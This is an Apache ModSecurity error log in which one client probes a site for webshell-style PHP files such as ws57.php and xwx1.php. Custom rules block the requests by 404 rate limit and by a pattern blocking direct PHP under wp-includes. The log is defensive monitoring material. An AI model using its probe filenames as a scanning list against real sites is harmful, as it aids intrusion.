[Wed Apr 22 23:37:46.171906 2026] [:error] [pid 6344:tid 6355] [client 68.219.234.17:35411] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aejrSkDOTF-pkQnDeUkdqQAAAAY"]
[Wed Apr 22 23:37:46.739336 2026] [:error] [pid 6344:tid 6361] [client 68.219.234.17:35453] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aejrSkDOTF-pkQnDeUkdrAAAAAw"]
[Wed Apr 22 23:37:47.424215 2026] [:error] [pid 9085:tid 9098] [client 68.219.234.17:8135] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aejrS9-_-or9vQnlWnrktgAAAUs"]
[Wed Apr 22 23:37:48.507687 2026] [:error] [pid 6384:tid 6387] [client 68.219.234.17:8176] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aejrTD58M3t15ICeWHWYhgAAAMA"]
[Wed Apr 22 23:37:49.407522 2026] [:error] [pid 9085:tid 9092] [client 68.219.234.17:8180] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aejrTd-_-or9vQnlWnrkuwAAAUU"]
[Wed Apr 22 23:37:51.130421 2026] [:error] [pid 9085:tid 9107] [client 68.219.234.17:35396] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aejrT9-_-or9vQnlWnrkwwAAAVQ"]
[Wed Apr 22 23:37:52.071576 2026] [:error] [pid 23776:tid 23782] [client 68.219.234.17:35430] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aejrULRExf-1pAbSeJswIwAAAYQ"]
[Wed Apr 22 23:37:52.871408 2026] [:error] [pid 23776:tid 23791] [client 68.219.234.17:8066] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aejrULRExf-1pAbSeJswJQAAAY0"]
[Wed Apr 22 23:37:53.672549 2026] [:error] [pid 23776:tid 23797] [client 68.219.234.17:35452] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aejrUbRExf-1pAbSeJswKQAAAZM"]
[Wed Apr 22 23:37:54.299255 2026] [:error] [pid 9085:tid 9100] [client 68.219.234.17:35407] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "aejrUt-_-or9vQnlWnrkyQAAAU0"]
[Wed Apr 22 23:37:54.947576 2026] [:error] [pid 6384:tid 6396] [client 68.219.234.17:35491] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "aejrUj58M3t15ICeWHWYmgAAAMk"]
[Wed Apr 22 23:37:55.675319 2026] [:error] [pid 9085:tid 9109] [client 68.219.234.17:8143] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "aejrU9-_-or9vQnlWnrkygAAAVY"]
[Wed Apr 22 23:37:56.692675 2026] [:error] [pid 6251:tid 6303] [client 68.219.234.17:8154] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "aejrVCsFAzbyObL-SQ6YGgAAAJI"]
[Wed Apr 22 23:37:57.751213 2026] [:error] [pid 23776:tid 23792] [client 68.219.234.17:8166] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aejrVbRExf-1pAbSeJswNgAAAY4"]
[Wed Apr 22 23:37:58.653075 2026] [:error] [pid 6250:tid 6256] [client 68.219.234.17:8069] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aejrVg-iZeQkqmQVfj4yTwAAAEI"]
[Wed Apr 22 23:37:59.254528 2026] [:error] [pid 23776:tid 23787] [client 68.219.234.17:8068] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aejrV7RExf-1pAbSeJswOAAAAYk"]
[Wed Apr 22 23:38:00.100015 2026] [:error] [pid 6250:tid 6261] [client 68.219.234.17:35449] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aejrWA-iZeQkqmQVfj4yUAAAAEc"]
[Wed Apr 22 23:38:00.804622 2026] [:error] [pid 6384:tid 6397] [client 68.219.234.17:8185] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "aejrWD58M3t15ICeWHWYnAAAAMo"]
[Wed Apr 22 23:38:01.533475 2026] [:error] [pid 6252:tid 6332] [client 68.219.234.17:35517] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "aejrWetGYuiYb1nWBpRrhQAAARQ"]
[Wed Apr 22 23:38:02.068659 2026] [:error] [pid 6251:tid 6293] [client 68.219.234.17:8179] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "aejrWisFAzbyObL-SQ6YHgAAAIg"]
[Wed Apr 22 23:38:02.782947 2026] [:error] [pid 23776:tid 23799] [client 68.219.234.17:8092] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "aejrWrRExf-1pAbSeJswQAAAAZU"]
[Wed Apr 22 23:38:03.413179 2026] [:error] [pid 6344:tid 6368] [client 68.219.234.17:35425] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aejrW0DOTF-pkQnDeUkdtAAAABM"]
[Wed Apr 22 23:38:04.280805 2026] [:error] [pid 9085:tid 9095] [client 68.219.234.17:8148] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aejrXN-_-or9vQnlWnrk3QAAAUg"]
[Wed Apr 22 23:38:04.996361 2026] [:error] [pid 23776:tid 23788] [client 68.219.234.17:8065] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aejrXLRExf-1pAbSeJswSQAAAYo"]
[Wed Apr 22 23:38:05.889554 2026] [:error] [pid 9085:tid 9094] [client 68.219.234.17:8170] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aejrXd-_-or9vQnlWnrk3wAAAUc"]
[Wed Apr 22 23:38:06.512860 2026] [:error] [pid 6250:tid 6274] [client 68.219.234.17:8117] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aejrXg-iZeQkqmQVfj4yVQAAAFQ"]
[Wed Apr 22 23:38:07.212634 2026] [:error] [pid 9085:tid 9096] [client 68.219.234.17:35508] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aejrX9-_-or9vQnlWnrk5QAAAUk"]
[Wed Apr 22 23:38:08.026993 2026] [:error] [pid 6344:tid 6362] [client 68.219.234.17:35404] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aejrYEDOTF-pkQnDeUkdvgAAAA0"]
[Wed Apr 22 23:38:08.621703 2026] [:error] [pid 9085:tid 9094] [client 68.219.234.17:35469] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aejrYN-_-or9vQnlWnrk7gAAAUc"]
[Wed Apr 22 23:38:09.224829 2026] [:error] [pid 9085:tid 9090] [client 68.219.234.17:35504] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "aejrYd-_-or9vQnlWnrk8wAAAUM"]
[Wed Apr 22 23:38:09.834904 2026] [:error] [pid 6252:tid 6327] [client 68.219.234.17:8086] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "aejrYetGYuiYb1nWBpRrjAAAAQ8"]
[Wed Apr 22 23:38:10.402153 2026] [:error] [pid 9085:tid 9107] [client 68.219.234.17:35495] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "aejrYt-_-or9vQnlWnrk-gAAAVQ"]
[Wed Apr 22 23:38:11.106261 2026] [:error] [pid 6250:tid 6266] [client 68.219.234.17:8017] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "aejrYw-iZeQkqmQVfj4yXQAAAEw"]
[Wed Apr 22 23:38:11.624820 2026] [:error] [pid 23776:tid 23790] [client 68.219.234.17:8002] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aejrY7RExf-1pAbSeJswTgAAAYw"]
[Wed Apr 22 23:38:12.233361 2026] [:error] [pid 6344:tid 6368] [client 68.219.234.17:8156] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aejrZEDOTF-pkQnDeUkdwgAAABM"]
[Wed Apr 22 23:38:12.839909 2026] [:error] [pid 9085:tid 9091] [client 68.219.234.17:8160] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aejrZN-_-or9vQnlWnrlBwAAAUQ"]
[Wed Apr 22 23:38:13.657543 2026] [:error] [pid 9085:tid 9093] [client 68.219.234.17:35398] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aejrZd-_-or9vQnlWnrlEAAAAUY"]
[Wed Apr 22 23:38:14.316882 2026] [:error] [pid 6344:tid 6358] [client 68.219.234.17:8133] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aejrZkDOTF-pkQnDeUkdwwAAAAk"]
[Wed Apr 22 23:38:14.861143 2026] [:error] [pid 23776:tid 23782] [client 68.219.234.17:35466] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aejrZrRExf-1pAbSeJswUAAAAYQ"]
[Wed Apr 22 23:38:15.522906 2026] [:error] [pid 6252:tid 6315] [client 68.219.234.17:8162] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aejrZ-tGYuiYb1nWBpRrjwAAAQM"]
[Wed Apr 22 23:38:16.060223 2026] [:error] [pid 6252:tid 6335] [client 68.219.234.17:35429] File does not exist: /usr/local/apache/htdocs/suspended-page/2.php
[Wed Apr 22 23:38:16.315556 2026] [:error] [pid 6252:tid 6329] [client 68.219.234.17:35429] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
[Wed Apr 22 23:38:16.575778 2026] [:error] [pid 6252:tid 6325] [client 68.219.234.17:35429] File does not exist: /usr/local/apache/htdocs/suspended-page/ws82.php
[Wed Apr 22 23:38:16.830006 2026] [:error] [pid 6252:tid 6331] [client 68.219.234.17:35429] [client 68.219.234.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aejraOtGYuiYb1nWBpRrlQAAARM"]
[Wed Apr 22 23:38:17.375516 2026] [:error] [pid 9085:tid 9097] [client 68.219.234.17:8085] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Wed Apr 22 23:38:17.630421 2026] [:error] [pid 9085:tid 9090] [client 68.219.234.17:8085] File does not exist: /usr/local/apache/htdocs/suspended-page/layout.php
[Wed Apr 22 23:38:17.886798 2026] [:error] [pid 9085:tid 9089] [client 68.219.234.17:8085] File does not exist: /usr/local/apache/htdocs/suspended-page/ws85.php
[Wed Apr 22 23:38:18.154315 2026] [:error] [pid 9085:tid 9101] [client 68.219.234.17:8085] File does not exist: /usr/local/apache/htdocs/suspended-page/zogy1.php
[Wed Apr 22 23:38:18.420873 2026] [:error] [pid 9085:tid 9105] [client 68.219.234.17:8085] File does not exist: /usr/local/apache/htdocs/suspended-page/state.php
[Wed Apr 22 23:38:18.677305 2026] [:error] [pid 9085:tid 9108] [client 68.219.234.17:8085] File does not exist: /usr/local/apache/htdocs/suspended-page/ss.php
[Wed Apr 22 23:38:18.947271 2026] [:error] [pid 9085:tid 9088] [client 68.219.234.17:8085] File does not exist: /usr/local/apache/htdocs/suspended-page/error_log.php
[Wed Apr 22 23:38:19.211386 2026] [:error] [pid 9085:tid 9096] [client 68.219.234.17:8085] File does not exist: /usr/local/apache/htdocs/suspended-page/mifta.php
[Wed Apr 22 23:38:19.542894 2026] [:error] [pid 9085:tid 9099] [client 68.219.234.17:8085] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aejra9-_-or9vQnlWnrlOwAAAUw"]
[Wed Apr 22 23:38:20.211664 2026] [:error] [pid 6252:tid 6323] [client 68.219.234.17:8081] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aejrbOtGYuiYb1nWBpRrlgAAAQs"]
[Wed Apr 22 23:38:20.779074 2026] [:error] [pid 6384:tid 6403] [client 68.219.234.17:8024] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aejrbD58M3t15ICeWHWYpgAAANA"]
[Wed Apr 22 23:38:21.464051 2026] [:error] [pid 23776:tid 23786] [client 68.219.234.17:8111] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aejrbbRExf-1pAbSeJswZAAAAYg"]
[Wed Apr 22 23:38:22.151600 2026] [:error] [pid 9085:tid 9090] [client 68.219.234.17:8012] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aejrbt-_-or9vQnlWnrlQwAAAUM"]
[Wed Apr 22 23:38:22.734826 2026] [:error] [pid 6344:tid 6363] [client 68.219.234.17:35416] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aejrbkDOTF-pkQnDeUkdywAAAA4"]
[Wed Apr 22 23:38:23.368580 2026] [:error] [pid 6250:tid 6254] [client 68.219.234.17:8168] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aejrbw-iZeQkqmQVfj4yYgAAAEA"]
[Wed Apr 22 23:38:23.928037 2026] [:error] [pid 6384:tid 6400] [client 68.219.234.17:8158] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aejrbz58M3t15ICeWHWYsgAAAM0"]
[Wed Apr 22 23:38:24.450198 2026] [:error] [pid 6344:tid 6358] [client 68.219.234.17:35490] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aejrcEDOTF-pkQnDeUkdzwAAAAk"]
[Wed Apr 22 23:38:25.019669 2026] [:error] [pid 23776:tid 23780] [client 68.219.234.17:8184] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aejrcbRExf-1pAbSeJswcAAAAYI"]
[Wed Apr 22 23:38:25.552901 2026] [:error] [pid 6252:tid 6327] [client 68.219.234.17:8149] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aejrcetGYuiYb1nWBpRrmAAAAQ8"]
